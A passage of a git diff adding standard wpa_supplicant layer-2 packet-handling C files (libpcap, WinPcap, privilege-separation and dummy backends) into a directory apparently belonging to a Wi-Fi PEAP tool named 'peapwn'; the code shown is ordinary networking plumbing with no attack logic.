l2_ndisuio_global->refcount--; + l2_ndisuio_global->l2[l2_ndisuio_global->refcount] = NULL; + if (l2_ndisuio_global->refcount) { + wpa_printf(MSG_DEBUG, "L2(NDISUIO): restore filtering " + "ethertype to %04x", + l2_ndisuio_global->first_proto); + l2_ndisuio_set_ether_type( + l2_ndisuio_global->first_proto); + return; + } + +#ifdef _WIN32_WCE + wpa_printf(MSG_DEBUG, "L2(NDISUIO): Waiting for RX thread to " + "stop"); + SetEvent(l2_ndisuio_global->stop_request); + /* + * Cancel pending ReadFile() in the RX thread (if we were still + * connected at this point). + */ + if (!DeviceIoControl(driver_ndis_get_ndisuio_handle(), + IOCTL_CANCEL_READ, NULL, 0, NULL, 0, NULL, + NULL)) { + wpa_printf(MSG_DEBUG, "L2(NDISUIO): IOCTL_CANCEL_READ " + "failed: %d", (int) GetLastError()); + /* RX thread will exit blocking ReadFile once NDISUIO + * notices that the adapter is disconnected. */ + } + WaitForSingleObject(l2_ndisuio_global->rx_thread, INFINITE); + wpa_printf(MSG_DEBUG, "L2(NDISUIO): RX thread exited"); + CloseHandle(l2_ndisuio_global->rx_thread); + CloseHandle(l2_ndisuio_global->stop_request); + CloseHandle(l2_ndisuio_global->ready_for_read); + CloseHandle(l2_ndisuio_global->rx_processed); +#endif /* _WIN32_WCE */ + + os_free(l2_ndisuio_global); + l2_ndisuio_global = NULL; + } + +#ifndef _WIN32_WCE + CancelIo(driver_ndis_get_ndisuio_handle()); +#endif /* _WIN32_WCE */ + + eloop_unregister_event(l2->rx_avail, sizeof(l2->rx_avail)); + CloseHandle(l2->rx_avail); + os_free(l2); +} + + +int l2_packet_get_ip_addr(struct l2_packet_data *l2, char *buf, size_t len) +{ + return -1; +} + + +void l2_packet_notify_auth_start(struct l2_packet_data *l2) +{ +} diff --git a/peapwn/mods/hostap/src/l2_packet/l2_packet_none.c b/peapwn/mods/hostap/src/l2_packet/l2_packet_none.c new file mode 100644 index 000000000..b01e83022 --- /dev/null +++ b/peapwn/mods/hostap/src/l2_packet/l2_packet_none.c @@ -0,0 +1,117 @@ +/* + * WPA Supplicant - Layer2 packet handling example with dummy functions + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file can be used as a starting point for layer2 packet implementation. + */ + +#include "includes.h" + +#include "common.h" +#include "eloop.h" +#include "l2_packet.h" + + +struct l2_packet_data { + char ifname[17]; + u8 own_addr[ETH_ALEN]; + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len); + void *rx_callback_ctx; + int l2_hdr; /* whether to include layer 2 (Ethernet) header data + * buffers */ + int fd; +}; + + +int l2_packet_get_own_addr(struct l2_packet_data *l2, u8 *addr) +{ + os_memcpy(addr, l2->own_addr, ETH_ALEN); + return 0; +} + + +int l2_packet_send(struct l2_packet_data *l2, const u8 *dst_addr, u16 proto, + const u8 *buf, size_t len) +{ + if (l2 == NULL) + return -1; + + /* + * TODO: Send frame (may need different implementation depending on + * whether l2->l2_hdr is set). + */ + + return 0; +} + + +static void l2_packet_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct l2_packet_data *l2 = eloop_ctx; + u8 buf[2300]; + int res; + + /* TODO: receive frame (e.g., recv() using sock */ + buf[0] = 0; + res = 0; + + l2->rx_callback(l2->rx_callback_ctx, NULL /* TODO: src addr */, + buf, res); +} + + +struct l2_packet_data * l2_packet_init( + const char *ifname, const u8 *own_addr, unsigned short protocol, + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len), + void *rx_callback_ctx, int l2_hdr) +{ + struct l2_packet_data *l2; + + l2 = os_zalloc(sizeof(struct l2_packet_data)); + if (l2 == NULL) + return NULL; + os_strlcpy(l2->ifname, ifname, sizeof(l2->ifname)); + l2->rx_callback = rx_callback; + l2->rx_callback_ctx = rx_callback_ctx; + l2->l2_hdr = l2_hdr; + + /* + * TODO: open connection for receiving frames + */ + l2->fd = -1; + eloop_register_read_sock(l2->fd, l2_packet_receive, l2, NULL); + + return l2; +} + + +void l2_packet_deinit(struct l2_packet_data *l2) +{ + if (l2 == NULL) + return; + + if (l2->fd >= 0) { + eloop_unregister_read_sock(l2->fd); + /* TODO: close connection */ + } + + os_free(l2); +} + + +int l2_packet_get_ip_addr(struct l2_packet_data *l2, char *buf, size_t len) +{ + /* TODO: get interface IP address */ + return -1; +} + + +void l2_packet_notify_auth_start(struct l2_packet_data *l2) +{ + /* This function can be left empty */ +} diff --git a/peapwn/mods/hostap/src/l2_packet/l2_packet_pcap.c b/peapwn/mods/hostap/src/l2_packet/l2_packet_pcap.c new file mode 100644 index 000000000..45aef56bc --- /dev/null +++ b/peapwn/mods/hostap/src/l2_packet/l2_packet_pcap.c @@ -0,0 +1,380 @@ +/* + * WPA Supplicant - Layer2 packet handling with libpcap/libdnet and WinPcap + * Copyright (c) 2003-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#ifndef CONFIG_NATIVE_WINDOWS +#include +#endif /* CONFIG_NATIVE_WINDOWS */ +#include +#ifndef CONFIG_WINPCAP +#include +#endif /* CONFIG_WINPCAP */ + +#include "common.h" +#include "eloop.h" +#include "l2_packet.h" + + +static const u8 pae_group_addr[ETH_ALEN] = +{ 0x01, 0x80, 0xc2, 0x00, 0x00, 0x03 }; + +struct l2_packet_data { + pcap_t *pcap; +#ifdef CONFIG_WINPCAP + unsigned int num_fast_poll; +#else /* CONFIG_WINPCAP */ + eth_t *eth; +#endif /* CONFIG_WINPCAP */ + char ifname[100]; + u8 own_addr[ETH_ALEN]; + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len); + void *rx_callback_ctx; + int l2_hdr; /* whether to include layer 2 (Ethernet) header in calls + * to rx_callback */ +}; + + +int l2_packet_get_own_addr(struct l2_packet_data *l2, u8 *addr) +{ + os_memcpy(addr, l2->own_addr, ETH_ALEN); + return 0; +} + + +#ifndef CONFIG_WINPCAP +static int l2_packet_init_libdnet(struct l2_packet_data *l2) +{ + eth_addr_t own_addr; + + l2->eth = eth_open(l2->ifname); + if (!l2->eth) { + printf("Failed to open interface '%s'.\n", l2->ifname); + perror("eth_open"); + return -1; + } + + if (eth_get(l2->eth, &own_addr) < 0) { + printf("Failed to get own hw address from interface '%s'.\n", + l2->ifname); + perror("eth_get"); + eth_close(l2->eth); + l2->eth = NULL; + return -1; + } + os_memcpy(l2->own_addr, own_addr.data, ETH_ALEN); + + return 0; +} +#endif /* CONFIG_WINPCAP */ + + +int l2_packet_send(struct l2_packet_data *l2, const u8 *dst_addr, u16 proto, + const u8 *buf, size_t len) +{ + int ret; + struct l2_ethhdr *eth; + + if (l2 == NULL) + return -1; + + if (l2->l2_hdr) { +#ifdef CONFIG_WINPCAP + ret = pcap_sendpacket(l2->pcap, buf, len); +#else /* CONFIG_WINPCAP */ + ret = eth_send(l2->eth, buf, len); +#endif /* CONFIG_WINPCAP */ + } else { + size_t mlen = sizeof(*eth) + len; + eth = os_malloc(mlen); + if (eth == NULL) + return -1; + + os_memcpy(eth->h_dest, dst_addr, ETH_ALEN); + os_memcpy(eth->h_source, l2->own_addr, ETH_ALEN); + eth->h_proto = htons(proto); + os_memcpy(eth + 1, buf, len); + +#ifdef CONFIG_WINPCAP + ret = pcap_sendpacket(l2->pcap, (u8 *) eth, mlen); +#else /* CONFIG_WINPCAP */ + ret = eth_send(l2->eth, (u8 *) eth, mlen); +#endif /* CONFIG_WINPCAP */ + + os_free(eth); + } + + return ret; +} + + +#ifndef CONFIG_WINPCAP +static void l2_packet_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct l2_packet_data *l2 = eloop_ctx; + pcap_t *pcap = sock_ctx; + struct pcap_pkthdr hdr; + const u_char *packet; + struct l2_ethhdr *ethhdr; + unsigned char *buf; + size_t len; + + packet = pcap_next(pcap, &hdr); + + if (packet == NULL || hdr.caplen < sizeof(*ethhdr)) + return; + + ethhdr = (struct l2_ethhdr *) packet; + if (l2->l2_hdr) { + buf = (unsigned char *) ethhdr; + len = hdr.caplen; + } else { + buf = (unsigned char *) (ethhdr + 1); + len = hdr.caplen - sizeof(*ethhdr); + } + l2->rx_callback(l2->rx_callback_ctx, ethhdr->h_source, buf, len); +} +#endif /* CONFIG_WINPCAP */ + + +#ifdef CONFIG_WINPCAP +static void l2_packet_receive_cb(u_char *user, const struct pcap_pkthdr *hdr, + const u_char *pkt_data) +{ + struct l2_packet_data *l2 = (struct l2_packet_data *) user; + struct l2_ethhdr *ethhdr; + unsigned char *buf; + size_t len; + + if (pkt_data == NULL || hdr->caplen < sizeof(*ethhdr)) + return; + + ethhdr = (struct l2_ethhdr *) pkt_data; + if (l2->l2_hdr) { + buf = (unsigned char *) ethhdr; + len = hdr->caplen; + } else { + buf = (unsigned char *) (ethhdr + 1); + len = hdr->caplen - sizeof(*ethhdr); + } + l2->rx_callback(l2->rx_callback_ctx, ethhdr->h_source, buf, len); + /* + * Use shorter poll interval for 3 seconds to reduce latency during key + * handshake. + */ + l2->num_fast_poll = 3 * 50; +} + + +static void l2_packet_receive_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct l2_packet_data *l2 = eloop_ctx; + pcap_t *pcap = timeout_ctx; + int timeout; + + if (l2->num_fast_poll > 0) { + timeout = 20000; + l2->num_fast_poll--; + } else + timeout = 100000; + + /* Register new timeout before calling l2_packet_receive() since + * receive handler may free this l2_packet instance (which will + * cancel this timeout). */ + eloop_register_timeout(0, timeout, l2_packet_receive_timeout, + l2, pcap); + pcap_dispatch(pcap, 10, l2_packet_receive_cb, (u_char *) l2); +} +#endif /* CONFIG_WINPCAP */ + + +static int l2_packet_init_libpcap(struct l2_packet_data *l2, + unsigned short protocol) +{ + bpf_u_int32 pcap_maskp, pcap_netp; + char pcap_filter[200], pcap_err[PCAP_ERRBUF_SIZE]; + struct bpf_program pcap_fp; + +#ifdef CONFIG_WINPCAP + char ifname[128]; + os_snprintf(ifname, sizeof(ifname), "\\Device\\NPF_%s", l2->ifname); + pcap_lookupnet(ifname, &pcap_netp, &pcap_maskp, pcap_err); + l2->pcap = pcap_open_live(ifname, 2500, 0, 10, pcap_err); + if (l2->pcap == NULL) { + fprintf(stderr, "pcap_open_live: %s\n", pcap_err); + fprintf(stderr, "ifname='%s'\n", ifname); + return -1; + } + if (pcap_setnonblock(l2->pcap, 1, pcap_err) < 0) + fprintf(stderr, "pcap_setnonblock: %s\n", + pcap_geterr(l2->pcap)); +#else /* CONFIG_WINPCAP */ + pcap_lookupnet(l2->ifname, &pcap_netp, &pcap_maskp, pcap_err); + l2->pcap = pcap_open_live(l2->ifname, 2500, 0, 10, pcap_err); + if (l2->pcap == NULL) { + fprintf(stderr, "pcap_open_live: %s\n", pcap_err); + fprintf(stderr, "ifname='%s'\n", l2->ifname); + return -1; + } + if (pcap_datalink(l2->pcap) != DLT_EN10MB && + pcap_set_datalink(l2->pcap, DLT_EN10MB) < 0) { + fprintf(stderr, "pcap_set_datalink(DLT_EN10MB): %s\n", + pcap_geterr(l2->pcap)); + return -1; + } +#endif /* CONFIG_WINPCAP */ + os_snprintf(pcap_filter, sizeof(pcap_filter), + "not ether src " MACSTR " and " + "( ether dst " MACSTR " or ether dst " MACSTR " ) and " + "ether proto 0x%x", + MAC2STR(l2->own_addr), /* do not receive own packets */ + MAC2STR(l2->own_addr), MAC2STR(pae_group_addr), + protocol); + if (pcap_compile(l2->pcap, &pcap_fp, pcap_filter, 1, pcap_netp) < 0) { + fprintf(stderr, "pcap_compile: %s\n", pcap_geterr(l2->pcap)); + return -1; + } + + if (pcap_setfilter(l2->pcap, &pcap_fp) < 0) { + fprintf(stderr, "pcap_setfilter: %s\n", pcap_geterr(l2->pcap)); + return -1; + } + + pcap_freecode(&pcap_fp); +#ifdef BIOCIMMEDIATE + /* + * When libpcap uses BPF we must enable "immediate mode" to + * receive frames right away; otherwise the system may + * buffer them for us. + */ + { + unsigned int on = 1; + if (ioctl(pcap_fileno(l2->pcap), BIOCIMMEDIATE, &on) < 0) { + fprintf(stderr, "%s: cannot enable immediate mode on " + "interface %s: %s\n", + __func__, l2->ifname, strerror(errno)); + /* XXX should we fail? */ + } + } +#endif /* BIOCIMMEDIATE */ + +#ifdef CONFIG_WINPCAP + eloop_register_timeout(0, 100000, l2_packet_receive_timeout, + l2, l2->pcap); +#else /* CONFIG_WINPCAP */ + eloop_register_read_sock(pcap_get_selectable_fd(l2->pcap), + l2_packet_receive, l2, l2->pcap); +#endif /* CONFIG_WINPCAP */ + + return 0; +} + + +struct l2_packet_data * l2_packet_init( + const char *ifname, const u8 *own_addr, unsigned short protocol, + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len), + void *rx_callback_ctx, int l2_hdr) +{ + struct l2_packet_data *l2; + + l2 = os_zalloc(sizeof(struct l2_packet_data)); + if (l2 == NULL) + return NULL; + os_strlcpy(l2->ifname, ifname, sizeof(l2->ifname)); + l2->rx_callback = rx_callback; + l2->rx_callback_ctx = rx_callback_ctx; + l2->l2_hdr = l2_hdr; + +#ifdef CONFIG_WINPCAP + if (own_addr) + os_memcpy(l2->own_addr, own_addr, ETH_ALEN); +#else /* CONFIG_WINPCAP */ + if (l2_packet_init_libdnet(l2)) + return NULL; +#endif /* CONFIG_WINPCAP */ + + if (l2_packet_init_libpcap(l2, protocol)) { +#ifndef CONFIG_WINPCAP + eth_close(l2->eth); +#endif /* CONFIG_WINPCAP */ + os_free(l2); + return NULL; + } + + return l2; +} + + +void l2_packet_deinit(struct l2_packet_data *l2) +{ + if (l2 == NULL) + return; + +#ifdef CONFIG_WINPCAP + eloop_cancel_timeout(l2_packet_receive_timeout, l2, l2->pcap); +#else /* CONFIG_WINPCAP */ + if (l2->eth) + eth_close(l2->eth); + eloop_unregister_read_sock(pcap_get_selectable_fd(l2->pcap)); +#endif /* CONFIG_WINPCAP */ + if (l2->pcap) + pcap_close(l2->pcap); + os_free(l2); +} + + +int l2_packet_get_ip_addr(struct l2_packet_data *l2, char *buf, size_t len) +{ + pcap_if_t *devs, *dev; + struct pcap_addr *addr; + struct sockaddr_in *saddr; + int found = 0; + char err[PCAP_ERRBUF_SIZE + 1]; + + if (pcap_findalldevs(&devs, err) < 0) { + wpa_printf(MSG_DEBUG, "pcap_findalldevs: %s\n", err); + return -1; + } + + for (dev = devs; dev && !found; dev = dev->next) { + if (os_strcmp(dev->name, l2->ifname) != 0) + continue; + + addr = dev->addresses; + while (addr) { + saddr = (struct sockaddr_in *) addr->addr; + if (saddr && saddr->sin_family == AF_INET) { + os_strlcpy(buf, inet_ntoa(saddr->sin_addr), + len); + found = 1; + break; + } + addr = addr->next; + } + } + + pcap_freealldevs(devs); + + return found ? 0 : -1; +} + + +void l2_packet_notify_auth_start(struct l2_packet_data *l2) +{ +#ifdef CONFIG_WINPCAP + /* + * Use shorter poll interval for 3 seconds to reduce latency during key + * handshake. + */ + l2->num_fast_poll = 3 * 50; + eloop_cancel_timeout(l2_packet_receive_timeout, l2, l2->pcap); + eloop_register_timeout(0, 10000, l2_packet_receive_timeout, + l2, l2->pcap); +#endif /* CONFIG_WINPCAP */ +} diff --git a/peapwn/mods/hostap/src/l2_packet/l2_packet_privsep.c b/peapwn/mods/hostap/src/l2_packet/l2_packet_privsep.c new file mode 100644 index 000000000..6b117ca2b --- /dev/null +++ b/peapwn/mods/hostap/src/l2_packet/l2_packet_privsep.c @@ -0,0 +1,261 @@ +/* + * WPA Supplicant - Layer2 packet handling with privilege separation + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "eloop.h" +#include "l2_packet.h" +#include "common/privsep_commands.h" + + +struct l2_packet_data { + int fd; /* UNIX domain socket for privsep access */ + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len); + void *rx_callback_ctx; + u8 own_addr[ETH_ALEN]; + char *own_socket_path; + struct sockaddr_un priv_addr; +}; + + +static int wpa_priv_cmd(struct l2_packet_data *l2, int cmd, + const void *data, size_t data_len) +{ + struct msghdr msg; + struct iovec io[2]; + + io[0].iov_base = &cmd; + io[0].iov_len = sizeof(cmd); + io[1].iov_base = (u8 *) data; + io[1].iov_len = data_len; + + os_memset(&msg, 0, sizeof(msg)); + msg.msg_iov = io; + msg.msg_iovlen = data ? 2 : 1; + msg.msg_name = &l2->priv_addr; + msg.msg_namelen = sizeof(l2->priv_addr); + + if (sendmsg(l2->fd, &msg, 0) < 0) { + perror("L2: sendmsg(cmd)"); + return -1; + } + + return 0; +} + + +int l2_packet_get_own_addr(struct l2_packet_data *l2, u8 *addr) +{ + os_memcpy(addr, l2->own_addr, ETH_ALEN); + return 0; +} + + +int l2_packet_send(struct l2_packet_data *l2, const u8 *dst_addr, u16 proto, + const u8 *buf, size_t len) +{ + struct msghdr msg; + struct iovec io[4]; + int cmd = PRIVSEP_CMD_L2_SEND; + + io[0].iov_base = &cmd; + io[0].iov_len = sizeof(cmd); + io[1].iov_base = &dst_addr; + io[1].iov_len = ETH_ALEN; + io[2].iov_base = &proto; + io[2].iov_len = 2; + io[3].iov_base = (u8 *) buf; + io[3].iov_len = len; + + os_memset(&msg, 0, sizeof(msg)); + msg.msg_iov = io; + msg.msg_iovlen = 4; + msg.msg_name = &l2->priv_addr; + msg.msg_namelen = sizeof(l2->priv_addr); + + if (sendmsg(l2->fd, &msg, 0) < 0) { + perror("L2: sendmsg(packet_send)"); + return -1; + } + + return 0; +} + + +static void l2_packet_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct l2_packet_data *l2 = eloop_ctx; + u8 buf[2300]; + int res; + struct sockaddr_un from; + socklen_t fromlen = sizeof(from); + + os_memset(&from, 0, sizeof(from)); + res = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *) &from, + &fromlen); + if (res < 0) { + perror("l2_packet_receive - recvfrom"); + return; + } + if (res < ETH_ALEN) { + wpa_printf(MSG_DEBUG, "L2: Too show packet received"); + return; + } + + if (from.sun_family != AF_UNIX || + os_strncmp(from.sun_path, l2->priv_addr.sun_path, + sizeof(from.sun_path)) != 0) { + wpa_printf(MSG_DEBUG, "L2: Received message from unexpected " + "source"); + return; + } + + l2->rx_callback(l2->rx_callback_ctx, buf, buf + ETH_ALEN, + res - ETH_ALEN); +} + + +struct l2_packet_data * l2_packet_init( + const char *ifname, const u8 *own_addr, unsigned short protocol, + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len), + void *rx_callback_ctx, int l2_hdr) +{ + struct l2_packet_data *l2; + char *own_dir = "/tmp"; + char *priv_dir = "/var/run/wpa_priv"; + size_t len; + static unsigned int counter = 0; + struct sockaddr_un addr; + fd_set rfds; + struct timeval tv; + int res; + u8 reply[ETH_ALEN + 1]; + int reg_cmd[2]; + + l2 = os_zalloc(sizeof(struct l2_packet_data)); + if (l2 == NULL) + return NULL; + l2->rx_callback = rx_callback; + l2->rx_callback_ctx = rx_callback_ctx; + + len = os_strlen(own_dir) + 50; + l2->own_socket_path = os_malloc(len); + if (l2->own_socket_path == NULL) { + os_free(l2); + return NULL; + } + os_snprintf(l2->own_socket_path, len, "%s/wpa_privsep-l2-%d-%d", + own_dir, getpid(), counter++); + + l2->priv_addr.sun_family = AF_UNIX; + os_snprintf(l2->priv_addr.sun_path, sizeof(l2->priv_addr.sun_path), + "%s/%s", priv_dir, ifname); + + l2->fd = socket(PF_UNIX, SOCK_DGRAM, 0); + if (l2->fd < 0) { + perror("socket(PF_UNIX)"); + os_free(l2->own_socket_path); + l2->own_socket_path = NULL; + os_free(l2); + return NULL; + } + + os_memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + os_strlcpy(addr.sun_path, l2->own_socket_path, sizeof(addr.sun_path)); + if (bind(l2->fd, (struct sockaddr *) &addr, sizeof(addr)) < 0) { + perror("l2-pkt-privsep: bind(PF_UNIX)"); + goto fail; + } + + reg_cmd[0] = protocol; + reg_cmd[1] = l2_hdr; + if (wpa_priv_cmd(l2, PRIVSEP_CMD_L2_REGISTER, reg_cmd, sizeof(reg_cmd)) + < 0) { + wpa_printf(MSG_ERROR, "L2: Failed to register with wpa_priv"); + goto fail; + } + + FD_ZERO(&rfds); + FD_SET(l2->fd, &rfds); + tv.tv_sec = 5; + tv.tv_usec = 0; + res = select(l2->fd + 1, &rfds, NULL, NULL, &tv); + if (res < 0 && errno != EINTR) { + perror("select"); + goto fail; + } + + if (FD_ISSET(l2->fd, &rfds)) { + res = recv(l2->fd, reply, sizeof(reply), 0); + if (res < 0) { + perror("recv"); + goto fail; + } + } else { + wpa_printf(MSG_DEBUG, "L2: Timeout while waiting for " + "registration reply"); + goto fail; + } + + if (res != ETH_ALEN) { + wpa_printf(MSG_DEBUG, "L2: Unexpected registration reply " + "(len=%d)", res); + } + os_memcpy(l2->own_addr, reply, ETH_ALEN); + + eloop_register_read_sock(l2->fd, l2_packet_receive, l2, NULL); + + return l2; + +fail: + close(l2->fd); + l2->fd = -1; + unlink(l2->own_socket_path); + os_free(l2->own_socket_path); + l2->own_socket_path = NULL; + os_free(l2); + return NULL; +} + + +void l2_packet_deinit(struct l2_packet_data *l2) +{ + if (l2 == NULL) + return; + + if (l2->fd >= 0) { + wpa_priv_cmd(l2, PRIVSEP_CMD_L2_UNREGISTER, NULL, 0); + eloop_unregister_read_sock(l2->fd); + close(l2->fd); + } + + if (l2->own_socket_path) { + unlink(l2->own_socket_path); + os_free(l2->own_socket_path); + } + + os_free(l2); +} + + +int l2_packet_get_ip_addr(struct l2_packet_data *l2, char *buf, size_t len) +{ + /* TODO */ + return -1; +} + + +void l2_packet_notify_auth_start(struct l2_packet_data *l2) +{ + wpa_priv_cmd(l2, PRIVSEP_CMD_L2_NOTIFY_AUTH_START, NULL, 0); +} diff --git a/peapwn/mods/hostap/src/l2_packet/l2_packet_winpcap.c b/peapwn/mods/hostap/src/l2_packet/l2_packet_winpcap.c new file mode 100644 index 000000000..b6e508893 --- /dev/null +++ b/peapwn/mods/hostap/src/l2_packet/l2_packet_winpcap.c @@ -0,0 +1,335 @@ +/* + * WPA Supplicant - Layer2 packet handling with WinPcap RX thread + * Copyright (c) 2003-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This l2_packet implementation is explicitly for WinPcap and Windows events. + * l2_packet_pcap.c has support for WinPcap, but it requires polling to receive + * frames which means relatively long latency for EAPOL RX processing. The + * implementation here uses a separate thread to allow WinPcap to be receiving + * all the time to reduce latency for EAPOL receiving from about 100 ms to 3 ms + * when comparing l2_packet_pcap.c to l2_packet_winpcap.c. Extra sleep of 50 ms + * is added in to receive thread whenever no EAPOL frames has been received for + * a while. Whenever an EAPOL handshake is expected, this sleep is removed. + * + * The RX thread receives a frame and signals main thread through Windows event + * about the availability of a new frame. Processing the received frame is + * synchronized with pair of Windows events so that no extra buffer or queuing + * mechanism is needed. This implementation requires Windows specific event + * loop implementation, i.e., eloop_win.c. + * + * WinPcap has pcap_getevent() that could, in theory at least, be used to + * implement this kind of waiting with a simpler single-thread design. However, + * that event handle is not really signaled immediately when receiving each + * frame, so it does not really work for this kind of use. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "eloop.h" +#include "l2_packet.h" + + +static const u8 pae_group_addr[ETH_ALEN] = +{ 0x01, 0x80, 0xc2, 0x00, 0x00, 0x03 }; + +/* + * Number of pcap_dispatch() iterations to do without extra wait after each + * received EAPOL packet or authentication notification. This is used to reduce + * latency for EAPOL receive. + */ +static const size_t no_wait_count = 750; + +struct l2_packet_data { + pcap_t *pcap; + unsigned int num_fast_poll; + char ifname[100]; + u8 own_addr[ETH_ALEN]; + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len); + void *rx_callback_ctx; + int l2_hdr; /* whether to include layer 2 (Ethernet) header in calls to + * rx_callback and l2_packet_send() */ + int running; + HANDLE rx_avail, rx_done, rx_thread, rx_thread_done, rx_notify; + u8 *rx_buf, *rx_src; + size_t rx_len; + size_t rx_no_wait; +}; + + +int l2_packet_get_own_addr(struct l2_packet_data *l2, u8 *addr) +{ + os_memcpy(addr, l2->own_addr, ETH_ALEN); + return 0; +} + + +int l2_packet_send(struct l2_packet_data *l2, const u8 *dst_addr, u16 proto, + const u8 *buf, size_t len) +{ + int ret; + struct l2_ethhdr *eth; + + if (l2 == NULL) + return -1; + + if (l2->l2_hdr) { + ret = pcap_sendpacket(l2->pcap, buf, len); + } else { + size_t mlen = sizeof(*eth) + len; + eth = os_malloc(mlen); + if (eth == NULL) + return -1; + + os_memcpy(eth->h_dest, dst_addr, ETH_ALEN); + os_memcpy(eth->h_source, l2->own_addr, ETH_ALEN); + eth->h_proto = htons(proto); + os_memcpy(eth + 1, buf, len); + ret = pcap_sendpacket(l2->pcap, (u8 *) eth, mlen); + os_free(eth); + } + + return ret; +} + + +/* pcap_dispatch() callback for the RX thread */ +static void l2_packet_receive_cb(u_char *user, const struct pcap_pkthdr *hdr, + const u_char *pkt_data) +{ + struct l2_packet_data *l2 = (struct l2_packet_data *) user; + struct l2_ethhdr *ethhdr; + + if (pkt_data == NULL || hdr->caplen < sizeof(*ethhdr)) + return; + + ethhdr = (struct l2_ethhdr *) pkt_data; + if (l2->l2_hdr) { + l2->rx_buf = (u8 *) ethhdr; + l2->rx_len = hdr->caplen; + } else { + l2->rx_buf = (u8 *) (ethhdr + 1); + l2->rx_len = hdr->caplen - sizeof(*ethhdr); + } + l2->rx_src = ethhdr->h_source; + SetEvent(l2->rx_avail); + WaitForSingleObject(l2->rx_done, INFINITE); + ResetEvent(l2->rx_done); + l2->rx_no_wait = no_wait_count; +} + + +/* main RX loop that is running in a separate thread */ +static DWORD WINAPI l2_packet_receive_thread(LPVOID arg) +{ + struct l2_packet_data *l2 = arg; + + while (l2->running) { + pcap_dispatch(l2->pcap, 1, l2_packet_receive_cb, + (u_char *) l2); + if (l2->rx_no_wait > 0) + l2->rx_no_wait--; + if (WaitForSingleObject(l2->rx_notify, + l2->rx_no_wait ? 0 : 50) == + WAIT_OBJECT_0) { + l2->rx_no_wait = no_wait_count; + ResetEvent(l2->rx_notify); + } + } + SetEvent(l2->rx_thread_done); + ExitThread(0); + return 0; +} + + +/* main thread RX event handler */ +static void l2_packet_rx_event(void *eloop_data, void *user_data) +{ + struct l2_packet_data *l2 = eloop_data; + l2->rx_callback(l2->rx_callback_ctx, l2->rx_src, l2->rx_buf, + l2->rx_len); + ResetEvent(l2->rx_avail); + SetEvent(l2->rx_done); +} + + +static int l2_packet_init_libpcap(struct l2_packet_data *l2, + unsigned short protocol) +{ + bpf_u_int32 pcap_maskp, pcap_netp; + char pcap_filter[200], pcap_err[PCAP_ERRBUF_SIZE]; + struct bpf_program pcap_fp; + + pcap_lookupnet(l2->ifname, &pcap_netp, &pcap_maskp, pcap_err); + l2->pcap = pcap_open_live(l2->ifname, 2500, 0, 1, pcap_err); + if (l2->pcap == NULL) { + fprintf(stderr, "pcap_open_live: %s\n", pcap_err); + fprintf(stderr, "ifname='%s'\n", l2->ifname); + return -1; + } + os_snprintf(pcap_filter, sizeof(pcap_filter), + "not ether src " MACSTR " and " + "( ether dst " MACSTR " or ether dst " MACSTR " ) and " + "ether proto 0x%x", + MAC2STR(l2->own_addr), /* do not receive own packets */ + MAC2STR(l2->own_addr), MAC2STR(pae_group_addr), + protocol); + if (pcap_compile(l2->pcap, &pcap_fp, pcap_filter, 1, pcap_netp) < 0) { + fprintf(stderr, "pcap_compile: %s\n", pcap_geterr(l2->pcap)); + return -1; + } + + if (pcap_setfilter(l2->pcap, &pcap_fp) < 0) { + fprintf(stderr, "pcap_setfilter: %s\n", pcap_geterr(l2->pcap)); + return -1; + } + + pcap_freecode(&pcap_fp); + + return 0; +} + + +struct l2_packet_data * l2_packet_init( + const char *ifname, const u8 *own_addr, unsigned short protocol, + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len), + void *rx_callback_ctx, int l2_hdr) +{ + struct l2_packet_data *l2; + DWORD thread_id; + + l2 = os_zalloc(sizeof(struct l2_packet_data)); + if (l2 == NULL) + return NULL; + if (os_strncmp(ifname, "\\Device\\NPF_", 12) == 0) + os_strlcpy(l2->ifname, ifname, sizeof(l2->ifname)); + else + os_snprintf(l2->ifname, sizeof(l2->ifname), "\\Device\\NPF_%s", + ifname); + l2->rx_callback = rx_callback; + l2->rx_callback_ctx = rx_callback_ctx; + l2->l2_hdr = l2_hdr; + + if (own_addr) + os_memcpy(l2->own_addr, own_addr, ETH_ALEN); + + if (l2_packet_init_libpcap(l2, protocol)) { + os_free(l2); + return NULL; + } + + l2->rx_avail = CreateEvent(NULL, TRUE, FALSE, NULL); + l2->rx_done = CreateEvent(NULL, TRUE, FALSE, NULL); + l2->rx_notify = CreateEvent(NULL, TRUE, FALSE, NULL); + if (l2->rx_avail == NULL || l2->rx_done == NULL || + l2->rx_notify == NULL) { + CloseHandle(l2->rx_avail); + CloseHandle(l2->rx_done); + CloseHandle(l2->rx_notify); + pcap_close(l2->pcap); + os_free(l2); + return NULL; + } + + eloop_register_event(l2->rx_avail, sizeof(l2->rx_avail), + l2_packet_rx_event, l2, NULL); + + l2->running = 1; + l2->rx_thread = CreateThread(NULL, 0, l2_packet_receive_thread, l2, 0, + &thread_id); + + return l2; +} + + +static void l2_packet_deinit_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct l2_packet_data *l2 = eloop_ctx; + + if (l2->rx_thread_done && + WaitForSingleObject(l2->rx_thread_done, 2000) != WAIT_OBJECT_0) { + wpa_printf(MSG_DEBUG, "l2_packet_winpcap: RX thread did not " + "exit 